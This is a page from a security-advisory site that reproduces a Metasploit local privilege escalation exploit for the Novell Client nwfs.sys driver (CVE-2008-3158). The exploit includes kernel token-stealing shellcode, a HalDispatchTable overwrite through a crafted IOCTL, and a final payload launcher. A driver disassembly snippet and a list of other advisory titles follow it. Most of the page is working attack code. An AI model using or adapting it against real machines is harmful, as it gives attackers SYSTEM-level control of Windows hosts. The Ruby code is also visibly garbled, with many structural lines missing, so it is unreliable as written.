The goal of this project is to make virtual world a safer and better place without child pornography, major computer crime and RIAA.
Login As
You can log in if you are registered at one of these services:
Security Bulletins
Latest Malware Updates











Novell Client 4.91 SP4 nwfs.sys Local Privilege Escalation

CVE:  CVE-2008-3158

# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.

require 'msf/core'
require 'rex'
require 'msf/core/post/common'
require 'msf/core/post/windows/priv'

class Metasploit3 < Msf::Exploit::Local
  Rank = AverageRanking

  include Msf::Post::Common
  include Msf::Post::Windows::Priv

  def initialize(info={})
    super(update_info(info, {
      'Name'          => 'Novell Client 4.91 SP4 nwfs.sys Local Privilege Escalation',
      'Description'    => %q{
        This module exploits a flaw in the nwfs.sys driver to overwrite data in kernel
        space. The corruption occurs while handling ioctl requests with code 0x1438BB,
        where a 0x00000009 dword is written to an arbitrary address. An entry within the
        HalDispatchTable is overwritten in order to execute arbitrary code when
        NtQueryIntervalProfile is called. The module has been tested successfully on
        Windows XP SP3 with Novell Client 4.91 SP4.
      'License'       => MSF_LICENSE,
      'Author'        =>
          'Ruben Santamarta', # Vulnerability discovery and PoC
          'juan vazquez' # MSF module
      'Arch'          => ARCH_X86,
      'Platform'      => 'win',
      'SessionTypes'  => [ 'meterpreter' ],
      'DefaultOptions' =>
          'EXITFUNC' => 'thread',
      'Targets'       =>
          # Tested with nwfs.sys as installed with Novell Client 4.91 SP4
          [ 'Automatic', { } ],
          [ 'Windows XP SP3',
              'HaliQuerySystemInfo' => 0x16bba, # Stable over Windows XP SP3 updates
              '_KPROCESS' => "\x44", # Offset to _KPROCESS from a _ETHREAD struct
              '_TOKEN' => "\xc8",    # Offset to TOKEN from the _EPROCESS struct
              '_UPID' => "\x84",     # Offset to UniqueProcessId FROM the _EPROCESS struct
              '_APLINKS' => "\x88"   # Offset to ActiveProcessLinks _EPROCESS struct
      'References'    =>
          [ 'OSVDB', '46578' ],
          [ 'BID', '30001' ],
          [ 'URL', ''; ]
      'DisclosureDate'=> 'Jun 26 2008',
      'DefaultTarget' => 0


  def add_railgun_functions
        ["DWORD", "ProcessHandle", "in"],
        ["PBLOB", "BaseAddress", "inout"],
        ["PDWORD", "ZeroBits", "in"],
        ["PBLOB", "RegionSize", "inout"],
        ["DWORD", "AllocationType", "in"],
        ["DWORD", "Protect", "in"]

        [ "DWORD", "FileHandle", "in" ],
        [ "DWORD", "Event", "in" ],
        [ "DWORD", "ApcRoutine", "in" ],
        [ "DWORD", "ApcContext", "in" ],
        [ "PDWORD", "IoStatusBlock", "out" ],
        [ "DWORD", "IoControlCode", "in" ],
        [ "LPVOID", "InputBuffer", "in" ],
        [ "DWORD", "InputBufferLength", "in" ],
        [ "LPVOID", "OutputBuffer", "in" ],
        [ "DWORD", "OutPutBufferLength", "in" ]

        [ "DWORD", "ProfileSource", "in" ],
        [ "PDWORD", "Interval", "out" ]
    session.railgun.add_dll('psapi') if not session.railgun.dlls.keys.include?('psapi')
        ["PBLOB", "lpImageBase", "out"],
        ["DWORD", "cb", "in"],
        ["PDWORD", "lpcbNeeded", "out"]
        ["LPVOID", "ImageBase", "in"],
        ["PBLOB", "lpBaseName", "out"],
        ["DWORD", "nSize", "in"]

  def open_device(dev)

    invalid_handle_value = 0xFFFFFFFF

    r = session.railgun.kernel32.CreateFileA(dev, "GENERIC_READ", 0x3, nil, "OPEN_EXISTING", "FILE_ATTRIBUTE_READONLY", 0)

    handle = r['return']

    if handle == invalid_handle_value
      return nil

    return handle

  def find_sys_base(drvname)
    results = session.railgun.psapi.EnumDeviceDrivers(4096, 1024, 4)
    addresses = results['lpImageBase'][0..results['lpcbNeeded'] - 1].unpack("L*")

    addresses.each do |address|
      results = session.railgun.psapi.GetDeviceDriverBaseNameA(address, 48, 48)
      current_drvname = results['lpBaseName'][0..results['return'] - 1]
      if drvname == nil
        if current_drvname.downcase.include?('krnl')
          return [address, current_drvname]
      elsif drvname == results['lpBaseName'][0..results['return'] - 1]
        return [address, current_drvname]

    return nil

  def execute_shellcode(shell_addr)

    vprint_status("Creating the thread to execute the shellcode...")
    ret = session.railgun.kernel32.CreateThread(nil, 0, shell_addr, nil, "CREATE_SUSPENDED", nil)
    if ret['return'] < 1
      vprint_error("Unable to CreateThread")
      return nil
    hthread = ret['return']

    vprint_status("Resuming the Thread...")
    ret = client.railgun.kernel32.ResumeThread(hthread)
    if ret['return'] < 1
      vprint_error("Unable to ResumeThread")
      return nil

    return true

  def ring0_shellcode(t)
    restore_ptrs =  "\x31\xc0"                                                # xor eax, eax
    restore_ptrs << "\xb8" + [ @addresses["HaliQuerySystemInfo"] ].pack("L")  # mov eax, offset hal!HaliQuerySystemInformation
    restore_ptrs << "\xa3" + [ @addresses["halDispatchTable"] + 4 ].pack("L") # mov dword ptr [nt!HalDispatchTable+0x4], eax

    tokenstealing =  "\x52"                                                   # push edx                         # Save edx on the stack
    tokenstealing << "\x53"                                                   # push ebx                         # Save ebx on the stack
    tokenstealing << "\x33\xc0"                                               # xor eax, eax                     # eax = 0
    tokenstealing << "\x64\x8b\x80\x24\x01\x00\x00"                           # mov eax, dword ptr fs:[eax+124h] # Retrieve ETHREAD
    tokenstealing << "\x8b\x40" + t['_KPROCESS']                              # mov eax, dword ptr [eax+44h]     # Retrieve _KPROCESS
    tokenstealing << "\x8b\xc8"                                               # mov ecx, eax
    tokenstealing << "\x8b\x98" + t['_TOKEN'] + "\x00\x00\x00"                # mov ebx, dword ptr [eax+0C8h]    # Retrieves TOKEN
    tokenstealing << "\x8b\x80" + t['_APLINKS'] + "\x00\x00\x00"              # mov eax, dword ptr [eax+88h]  <====| # Retrieve FLINK from ActiveProcessLinks
    tokenstealing << "\x81\xe8" + t['_APLINKS'] + "\x00\x00\x00"              # sub eax,88h                        | # Retrieve _EPROCESS Pointer from the ActiveProcessLinks
    tokenstealing << "\x81\xb8" + t['_UPID'] + "\x00\x00\x00\x04\x00\x00\x00" # cmp dword ptr [eax+84h], 4         | # Compares UniqueProcessId with 4 (The System Process on Windows XP)
    tokenstealing << "\x75\xe8"                                               # jne 0000101e ======================
    tokenstealing << "\x8b\x90" + t['_TOKEN'] + "\x00\x00\x00"                # mov edx,dword ptr [eax+0C8h]     # Retrieves TOKEN and stores on EDX
    tokenstealing << "\x8b\xc1"                                               # mov eax, ecx                     # Retrieves KPROCESS stored on ECX
    tokenstealing << "\x89\x90" + t['_TOKEN'] + "\x00\x00\x00"                # mov dword ptr [eax+0C8h],edx     # Overwrites the TOKEN for the current KPROCESS
    tokenstealing << "\x5b"                                                   # pop ebx                          # Restores ebx
    tokenstealing << "\x5a"                                                   # pop edx                          # Restores edx
    tokenstealing << "\xc2\x10"                                               # ret 10h                          # Away from the kernel!

    ring0_shellcode = restore_ptrs + tokenstealing
    return ring0_shellcode

  def fill_memory(proc, address, length, content)

    result = session.railgun.ntdll.NtAllocateVirtualMemory(-1, [ address ].pack("L"), nil, [ length ].pack("L"), "MEM_RESERVE|MEM_COMMIT|MEM_TOP_DOWN", "PAGE_EXECUTE_READWRITE")

    if not proc.memory.writable?(address)
      vprint_error("Failed to allocate memory")
      return nil
      vprint_good("#{address} is now writable")

    result = proc.memory.write(address, content)

    if result.nil?
      vprint_error("Failed to write contents to memory")
      return nil
      vprint_good("Contents successfully written to 0x#{address.to_s(16)}")

    return address

  def disclose_addresses(t)
    addresses = {}

    vprint_status("Getting the Kernel module name...")
    kernel_info = find_sys_base(nil)
    if kernel_info.nil?
      vprint_error("Failed to disclose the Kernel module name")
      return nil
    vprint_good("Kernel module found: #{kernel_info[1]}")

    vprint_status("Getting a Kernel handle...")
    kernel32_handle = session.railgun.kernel32.LoadLibraryExA(kernel_info[1], 0, 1)
    kernel32_handle = kernel32_handle['return']
    if kernel32_handle == 0
      vprint_error("Failed to get a Kernel handle")
      return nil
    vprint_good("Kernel handle acquired")

    vprint_status("Disclosing the HalDispatchTable...")
    hal_dispatch_table = session.railgun.kernel32.GetProcAddress(kernel32_handle, "HalDispatchTable")
    hal_dispatch_table = hal_dispatch_table['return']
    if hal_dispatch_table == 0
      vprint_error("Failed to disclose the HalDispatchTable")
      return nil
    hal_dispatch_table -= kernel32_handle
    hal_dispatch_table += kernel_info[0]
    addresses["halDispatchTable"] = hal_dispatch_table
    vprint_good("HalDispatchTable found at 0x#{addresses["halDispatchTable"].to_s(16)}")

    vprint_status("Getting the hal.dll Base Address...")
    hal_info = find_sys_base("hal.dll")
    if hal_info.nil?
      vprint_error("Failed to disclose hal.dll Base Address")
      return nil
    hal_base = hal_info[0]
    vprint_good("hal.dll Base Address disclosed at 0x#{hal_base.to_s(16)}")

    hali_query_system_information = hal_base + t['HaliQuerySystemInfo']
    addresses["HaliQuerySystemInfo"] = hali_query_system_information

    vprint_good("HaliQuerySystemInfo Address disclosed at 0x#{addresses["HaliQuerySystemInfo"].to_s(16)}")
    return addresses

  def exploit

    vprint_status("Adding the railgun stuff...")

    if sysinfo["Architecture"] =~ /wow64/i
      fail_with(Exploit::Failure::NoTarget, "Running against WOW64 is not supported")
    elsif sysinfo["Architecture"] =~ /x64/
      fail_with(Exploit::Failure::NoTarget, "Running against 64-bit systems is not supported")

    my_target = nil
    if =~ /Automatic/
      print_status("Detecting the target system...")
      os = sysinfo["OS"]
      if os =~ /windows xp/i
        my_target = targets[1]
        print_status("Running against #{}")
      my_target = target

    if my_target.nil?
      fail_with(Exploit::Failure::NoTarget, "Remote system not detected as target, select the target manually")

    print_status("Checking device...")
    handle = open_device("\\\\.\\nwfs")
    if handle.nil?
      fail_with(Exploit::Failure::NoTarget, "\\\\.\\nwfs device not found")
      print_good("\\\\.\\nwfs found!")

    print_status("Disclosing the HalDispatchTable and hal!HaliQuerySystemInfo addresses...")
    @addresses = disclose_addresses(my_target)
    if @addresses.nil?
      fail_with(Exploit::Failure::Unknown, "Filed to disclose necessary addresses for exploitation. Aborting.")
      print_good("Addresses successfully disclosed.")

    print_status("Storing the kernel stager on memory...")
    this_proc =
    kernel_shell = ring0_shellcode(my_target)
    kernel_shell_address = 0x1000
    result = fill_memory(this_proc, kernel_shell_address, 0x1000, kernel_shell)
    if result.nil?
      fail_with(Exploit::Failure::Unknown, "Error while storing the kernel stager shellcode on memory")
      print_good("Kernel stager successfully stored at 0x#{kernel_shell_address.to_s(16)}")

    print_status("Storing the trampoline to the kernel stager on memory...")
    trampoline = "\x90" * 0x20       # nops
    trampoline << "\x68"             # push opcode
    trampoline << [0x1000].pack("V") # address to push
    trampoline << "\xc3"             # ret
    trampoline_addr = 0x3
    result = fill_memory(this_proc, trampoline_addr, 0x1000, trampoline)
    if result.nil?
      fail_with(Exploit::Failure::Unknown, "Error while storing trampoline on memory")
      print_good("Trampoline successfully stored at 0x#{trampoline_addr.to_s(16)}")

    print_status("Triggering the vulnerability, corrupting the HalDispatchTable...")
    magic_ioctl = 0x1438BB
    ioctl = session.railgun.ntdll.NtDeviceIoControlFile(handle, 0, 0, 0, 4, magic_ioctl, @addresses["halDispatchTable"] + 0x4, 0x10, 0, 0)

    print_status("Executing the Kernel Stager throw NtQueryIntervalProfile()...")
    result = session.railgun.ntdll.NtQueryIntervalProfile(1337, 4)

    print_status("Checking privileges after exploitation...")

    if not is_system?
      fail_with(Exploit::Failure::Unknown, "The exploitation wasn't successful")
      print_good("Exploitation successful!")

    print_status("Storing the final payload on memory...")
    shell_address = 0x0c0c0000
    result = fill_memory(this_proc, shell_address, 0x1000, payload.encoded)
    if result.nil?
      fail_with(Exploit::Failure::Unknown, "Error while storing the final payload on memory")
      print_good("Final payload successfully stored at 0x#{shell_address.to_s(16)}")

    print_status("Executing the payload...")
    result = execute_shellcode(shell_address)
    if result.nil?
      fail_with(Exploit::Failure::Unknown, "Error while executing the payload")




[*] Corruption

.text:0005512E sub_5512E       proc near               ; CODE XREF: ioctl_handler_sub_2FE4C+295p
.text:0005512E                                         ; sub_405C4+29Bp
.text:0005512E ms_exc          = CPPEH_RECORD ptr -18h
.text:0005512E arg_0           = dword ptr  8
.text:0005512E                 push    8
.text:00055130                 push    offset stru_79268
.text:00055135                 call    __SEH_prolog
.text:0005513A                 xor     eax, eax
.text:0005513C                 mov     ecx, [ebp+arg_0]
.text:0005513F                 mov     ecx, [ecx+0Ch]
.text:00055142                 mov     ecx, [ecx+60h]
.text:00055145                 mov     ecx, [ecx+10h]
.text:00055148                 mov     [ebp+ms_exc.registration.TryLevel], eax
.text:0005514B                 mov     dword ptr [ecx], 9 // Corruption


Security Advisories Database

Remote Code Execution Vulnerability in Microsoft OpenType Font Driver

A remote attacker can execute arbitrary code on the target system.


SQL Injection Vulnerability in Piwigo

SQL inection vulnerability has been discovered in Piwigo.


Cross-site Scripting Vulnerability in DotNetNuke

A cross-site scripting (XSS) vulnerability has been discovered in DotNetNuke.


Cross-site Scripting Vulnerability in Hitachi Command Suite

A cross-site scripting vulnerability was found in Hitachi Command Suite.


Denial of service vulnerability in FreeBSD SCTP RE_CONFIG Chunk Handling

An attacker can perform a denial of service attack.


Denial of service vulnerability in Apache Traffic Server HTTP TRACE Max-Forwards

An attacker can perform a denial of service attack.


Denial of service vulnerability in MalwareBytes Anti-Exploit &quot;mbae.sys&quot;

An attacker can perform a denial of service attack.


Denial of service vulnerability in Linux Kernel splice

An attacker can perform a denial of service attack.


Denial of service vulnerability in Python Pillow Module PNG Text Chunks Decompression

An attacker can perform a denial of service attack.